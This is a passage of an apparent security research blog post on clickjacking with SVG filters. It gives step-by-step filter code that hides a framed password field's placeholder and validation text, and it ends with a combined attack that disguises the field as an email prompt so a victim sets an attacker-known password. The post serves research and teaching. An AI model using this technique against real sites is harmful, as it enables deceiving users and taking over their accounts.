role=&#34;figure&#34;&gt;)]}&#39;&#xD;&#xA;[[1337],[1,&#34;AIzaSyAtbm8sIHRoaXMgaXNuJ3QgcmVhbCBsb2w&#34;,0,&#34;a&#34;,30],[768972,768973,768932,768984,768972,768969,768982,768969,768932,768958,768951],[105,1752133733,7958389,435644166009,7628901,32481100117144691,28526,28025,1651273575,15411]]&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;p&gt;Still, it could come in handy because often times you&amp;rsquo;re allowed to frame read-only API endpoints, so maybe there&amp;rsquo;s an attack there to discover.&lt;/p&gt;&#xA;&lt;h3 id=&#34;grey-text-hiding&#34;&gt;Grey text hiding&lt;/h3&gt;&#xA;&lt;p&gt;The next example is for situations where you want to trick someone into, for example, interacting with a text input. Oftentimes the inputs have stuff like grey placeholder text in them, so showing the input box by itself won&amp;rsquo;t cut it.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a look at our example target (try typing in the box).&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;textExample&#34; flex&gt;&lt;fake-frame&gt;&lt;div style=&#34;padding:0 16px&#34;&gt;&lt;p&gt;Set a new p&amp;ZeroWidthSpace;assword&lt;/p&gt;&lt;input spellcheck=false placeholder=&#34;your new p&amp;ZeroWidthSpace;assword&#34; pattern=.{8,} &gt;&lt;span class=&#34;overlay&#34;&gt;too short&lt;/span&gt;&lt;/div&gt;&lt;/fake-frame&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  .textExample {&#xD;&#xA;    height: 100px;&#xD;&#xA;    width: 240px;&#xD;&#xA;    font-size: 16px;&#xD;&#xA;    fake-frame {&#xD;&#xA;      div {&#xD;&#xA;        position: relative;&#xD;&#xA;      }&#xD;&#xA;      input {&#xD;&#xA;        border: 2px inset #777;&#xD;&#xA;        background: #FFF;&#xD;&#xA;        color: #222;&#xD;&#xA;        font-family: inherit;&#xD;&#xA;        font-size: inherit;&#xD;&#xA;        width: 180px;&#xD;&#xA;        position: absolute;&#xD;&#xA;        top: 36px;&#xD;&#xA;        height: 20px;&#xD;&#xA;      }&#xD;&#xA;      input::placeholder {&#xD;&#xA;        opacity: 1;&#xD;&#xA;        color: #999;&#xD;&#xA;      }&#xD;&#xA;      &amp;:has(input:valid) {&#xD;&#xA;        .overlay { display: none; }&#xD;&#xA;      }&#xD;&#xA;      .overlay {&#xD;&#xA;        position: absolute;&#xD;&#xA;        top: 36px;&#xD;&#xA;        translate: calc(-100% + 182px) 4px;&#xD;&#xA;        color: #F99;&#xD;&#xA;        user-select: none;&#xD;&#xA;        pointer-events: none;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;In this example we want to trick the user into setting an attacker-known password, so we want them to be able to see the text they&amp;rsquo;re entering, but not the grey placeholder text, nor the red &amp;ldquo;too short&amp;rdquo; text.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start off by using &lt;code&gt;feComposite&lt;/code&gt; with arithmetics to make the grey text disappear. The &lt;code&gt;arithmetic&lt;/code&gt; operation takes in two images, &lt;code&gt;i1&lt;/code&gt; (&lt;code&gt;in=...&lt;/code&gt;) and &lt;code&gt;i2&lt;/code&gt; (&lt;code&gt;in2=...&lt;/code&gt;), and lets us do per-pixel maths with &lt;code&gt;k1&lt;/code&gt;, &lt;code&gt;k2&lt;/code&gt;, &lt;code&gt;k3&lt;/code&gt;, &lt;code&gt;k4&lt;/code&gt; as the arguments according to this formula: &lt;math&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;⁢&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;⁢&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;⁢&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;⁢&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;/msub&gt;&lt;/math&gt;&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;textExample&#34; flex&gt;&lt;fake-frame style=&#34;filter:url(#textbox1)&#34;&gt;&lt;div style=&#34;padding:0 16px&#34;&gt;&lt;p&gt;Set a new p&amp;ZeroWidthSpace;assword&lt;/p&gt;&lt;input pattern=.{8,} spellcheck=false placeholder=&#34;your new p&amp;ZeroWidthSpace;assword&#34; value=&#34;meow&#34;&gt;&lt;span class=&#34;overlay&#34;&gt;too short&lt;/span&gt;&lt;/div&gt;&lt;/fake-frame&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt;&#xD;&#xA;             &lt;sx-r&gt;k1&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;4&lt;/sx-v&gt; &lt;sx-r&gt;k3&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;k4&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;768&#34;&#xD;&#xA;height=&#34;768&#34;&#xD;&#xA;viewBox=&#34;0 0 768 768&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;textbox1&#34;&gt;&#xA;&lt;feComposite operator=arithmetic&#xD;&#xA;k1=0 k2=4 k3=0 k4=0 /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Tip! You can leave out the in/in2 parameters if you just want it to be the previous output.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s getting there - by multiplying the brightness of the input we&amp;rsquo;ve made the grey text disappear, but now the black text looks a little suspicious and hard to read, especially on 1x scaling displays.&lt;/p&gt;&#xA;&lt;p&gt;We &lt;em&gt;could&lt;/em&gt; play around with the arguments to find the perfect balance between hiding the grey text and showing the black one, but ideally we&amp;rsquo;d still have the black text look the way usually does, just without any grey text. Is that possible?&lt;/p&gt;&#xA;&lt;p&gt;So here&amp;rsquo;s where a really cool technique comes into play - masking. We&amp;rsquo;re going to create a matte to &amp;ldquo;cut out&amp;rdquo; the black text and cover up everything else. It&amp;rsquo;s going to take us quite a few steps to get to the desired result, so lets go through it bit-by-bit.&lt;/p&gt;&#xA;&lt;p&gt;We start off by cropping the result of our black text filter with &lt;code&gt;feTile&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;textExample&#34; flex&gt;&lt;fake-frame style=&#34;filter:url(#textbox2)&#34;&gt;&lt;div style=&#34;padding:0 16px&#34;&gt;&lt;p&gt;Set a new p&amp;ZeroWidthSpace;assword&lt;/p&gt;&lt;input pattern=.{8,} spellcheck=false placeholder=&#34;your new p&amp;ZeroWidthSpace;assword&#34; value=&#34;meow&#34;&gt;&lt;span class=&#34;overlay&#34;&gt;too short&lt;/span&gt;&lt;/div&gt;&lt;/fake-frame&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;20&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;56&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;184&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;22&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;768&#34;&#xD;&#xA;height=&#34;768&#34;&#xD;&#xA;viewBox=&#34;0 0 768 768&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;textbox2&#34;&gt;&#xA;&lt;feComposite operator=arithmetic&#xD;&#xA;k1=0 k2=4 k3=0 k4=0 /&gt;&#xA;&lt;feTile x=20 y=56 width=184 height=22 result=&#34;out&#34; /&gt;&#xA;&lt;feFlood flood-color=&#34;#2d7961&#34; /&gt;&#xA;&lt;feBlend in=&#34;out&#34; /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p class=&#34;safariNote&#34;&gt;Note: Safari seems to be having some trouble with &lt;code&gt;feTile&lt;/code&gt;, so if &lt;span&gt;the examples flicker or look blank, read this post in a browser such as Firefox or Chrome. If&lt;/span&gt; you&#39;re writing an attack for Safari, you can also achieve cropping by making a luma matte with &lt;code&gt;feFlood&lt;/code&gt; and then applying it.&lt;/p&gt;&#xD;&#xA;&lt;p&gt;Then we use &lt;code&gt;feMorphology&lt;/code&gt; to increase the thickness of the text.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;textExample&#34; flex&gt;&lt;fake-frame style=&#34;filter:url(#textbox3)&#34;&gt;&lt;div style=&#34;padding:0 16px&#34;&gt;&lt;p&gt;Set a new p&amp;ZeroWidthSpace;assword&lt;/p&gt;&lt;input pattern=.{8,} spellcheck=false placeholder=&#34;your new p&amp;ZeroWidthSpace;assword&#34; value=&#34;meow&#34;&gt;&lt;span class=&#34;overlay&#34;&gt;too short&lt;/span&gt;&lt;/div&gt;&lt;/fake-frame&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;feMorphology&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;erode&lt;/sx-v&gt; &lt;sx-r&gt;radius&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;3&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;thick&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;768&#34;&#xD;&#xA;height=&#34;768&#34;&#xD;&#xA;viewBox=&#34;0 0 768 768&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;textbox3&#34;&gt;&#xA;&lt;feComposite operator=arithmetic&#xD;&#xA;k1=0 k2=4 k3=0 k4=0 /&gt;&#xA;&lt;feTile x=20 y=56 width=184 height=22 /&gt;&#xA;&lt;feMorphology operator=erode radius=3 result=&#34;out&#34; /&gt;&#xA;&lt;feFlood flood-color=&#34;#2d7961&#34; /&gt;&#xA;&lt;feBlend in=&#34;out&#34;/&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we have to increase the contrast of the mask. I&amp;rsquo;m going to do it by first using &lt;code&gt;feFlood&lt;/code&gt; to create a solid white image, which we can then &lt;code&gt;feBlend&lt;/code&gt; with &lt;code&gt;difference&lt;/code&gt; to invert our mask. And then we can use &lt;code&gt;feComposite&lt;/code&gt; to multiply&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; the mask for better contrast.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;textExample&#34; flex&gt;&lt;fake-frame style=&#34;filter:url(#textbox4)&#34;&gt;&lt;div style=&#34;padding:0 16px&#34;&gt;&lt;p&gt;Set a new p&amp;ZeroWidthSpace;assword&lt;/p&gt;&lt;input pattern=.{8,} spellcheck=false placeholder=&#34;your new p&amp;ZeroWidthSpace;assword&#34; value=&#34;meow&#34;&gt;&lt;span class=&#34;overlay&#34;&gt;too short&lt;/span&gt;&lt;/div&gt;&lt;/fake-frame&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;feFlood&lt;/sx-t&gt; &lt;sx-r&gt;flood-color&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;#FFF&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;thick&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;100&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;768&#34;&#xD;&#xA;height=&#34;768&#34;&#xD;&#xA;viewBox=&#34;0 0 768 768&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;textbox4&#34;&gt;&#xA;&lt;feComposite operator=arithmetic&#xD;&#xA;k1=0 k2=4 k3=0 k4=0 /&gt;&#xA;&lt;feTile x=20 y=56 width=184 height=22 /&gt;&#xA;&lt;feMorphology operator=erode radius=3 result=thick /&gt;&#xA;&lt;feFlood flood-color=#FFF result=white /&gt;&#xA;&lt;feBlend mode=difference in=thick in2=white /&gt;&#xA;&lt;feComposite operator=arithmetic k2=100 result=out /&gt;&#xA;&lt;feFlood flood-color=&#34;#2d7961&#34; /&gt;&#xA;&lt;feBlend in=&#34;out&#34;/&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p&gt;We have a luma matte now! All that&amp;rsquo;s left is to convert it into an alpha matte with &lt;code&gt;feColorMatrix&lt;/code&gt;, apply it to the source image with &lt;code&gt;feComposite&lt;/code&gt;, and make the background white with &lt;code&gt;feBlend&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;textExample&#34; flex&gt;&lt;fake-frame style=&#34;filter:url(#textbox5)&#34;&gt;&lt;div style=&#34;padding:0 16px&#34;&gt;&lt;p&gt;Set a new p&amp;ZeroWidthSpace;assword&lt;/p&gt;&lt;input pattern=.{8,} spellcheck=false placeholder=&#34;your new p&amp;ZeroWidthSpace;assword&#34; value=&#34;meow&#34;&gt;&lt;span class=&#34;overlay&#34;&gt;too short&lt;/span&gt;&lt;/div&gt;&lt;/fake-frame&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt;&#xD;&#xA;        &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 0 0 0&#xD;&#xA;                0 0 0 0 0&#xD;&#xA;                0 0 0 0 0&#xD;&#xA;                0 0 1 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;in&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;768&#34;&#xD;&#xA;height=&#34;768&#34;&#xD;&#xA;viewBox=&#34;0 0 768 768&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;textbox5&#34;&gt;&#xA;&lt;feComposite operator=arithmetic&#xD;&#xA;k1=0 k2=4 k3=0 k4=0 /&gt;&#xA;&lt;feTile x=20 y=56 width=184 height=22 /&gt;&#xA;&lt;feMorphology operator=erode radius=3 result=thick /&gt;&#xA;&lt;feFlood flood-color=#FFF result=white /&gt;&#xA;&lt;feBlend mode=difference in=thick in2=white /&gt;&#xA;&lt;feComposite operator=arithmetic k2=100 /&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 1 0 0&#34; /&gt;&#xA;&lt;feComposite in=SourceGraphic&#xD;&#xA;operator=in /&gt;&#xA;&lt;feBlend in2=white /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looks pretty good, doesn&amp;rsquo;t it! If you empty out the box (try it!) you might notice some artifacts that give away what we&amp;rsquo;ve done, but apart from that it&amp;rsquo;s a pretty good way to sort of sculpt and form various inputs around a bit for an attack.&lt;/p&gt;&#xA;&lt;p&gt;There are all sorts of other effects you can add to make the input seem just right. Let&amp;rsquo;s combine everything together into a complete example of an attack.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;textExample&#34; flex&gt;&lt;fake-frame style=&#34;filter:url(#textbox6)&#34;&gt;&lt;div style=&#34;padding:0 16px&#34;&gt;&lt;p&gt;Set a new p&amp;ZeroWidthSpace;assword&lt;/p&gt;&lt;input pattern=.{8,} spellcheck=false placeholder=&#34;your new p&amp;ZeroWidthSpace;assword&#34; value=&#34;meow&#34;&gt;&lt;span class=&#34;overlay&#34;&gt;too short&lt;/span&gt;&lt;/div&gt;&lt;/fake-frame&gt;&lt;div class=attack style=&#34;top: 23px;left: 18px;color:#FFF&#34;&gt;Enter your e-mail address:&lt;/div&gt;&lt;div class=attack style=&#34;top:55px;left:17px;width:182px;height:20px;border:1px solid #444;border-radius:4px;pointer-events:none;box-shadow: 0 0px 10px 0 #000 inset;&#34;&gt;&lt;/div&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  art-frame.textExample {&#xD;&#xA;    &amp;:has(.attack) {&#xD;&#xA;      position: relative;&#xD;&#xA;    }&#xD;&#xA;    .attack {&#xD;&#xA;      position: absolute;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;filter&amp;gt;&#xD;&#xA;  &amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt;&#xD;&#xA;               &lt;sx-r&gt;k1&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;4&lt;/sx-v&gt; &lt;sx-r&gt;k3&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;k4&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;20&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;56&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;184&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;22&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feMorphology&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;erode&lt;/sx-v&gt; &lt;sx-r&gt;radius&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;3&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;thick&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feFlood&lt;/sx-t&gt; &lt;sx-r&gt;flood-color&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;#FFF&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;thick&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;100&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt;&#xD;&#xA;      &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 0 0 0&#xD;&#xA;              0 0 0 0 0&#xD;&#xA;              0 0 0 0 0&#xD;&#xA;              0 0 1 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;in&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;21&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;57&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;182&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;20&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;1&lt;/sx-v&gt; &lt;sx-r&gt;k4&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0.02&lt;/sx-v&gt; 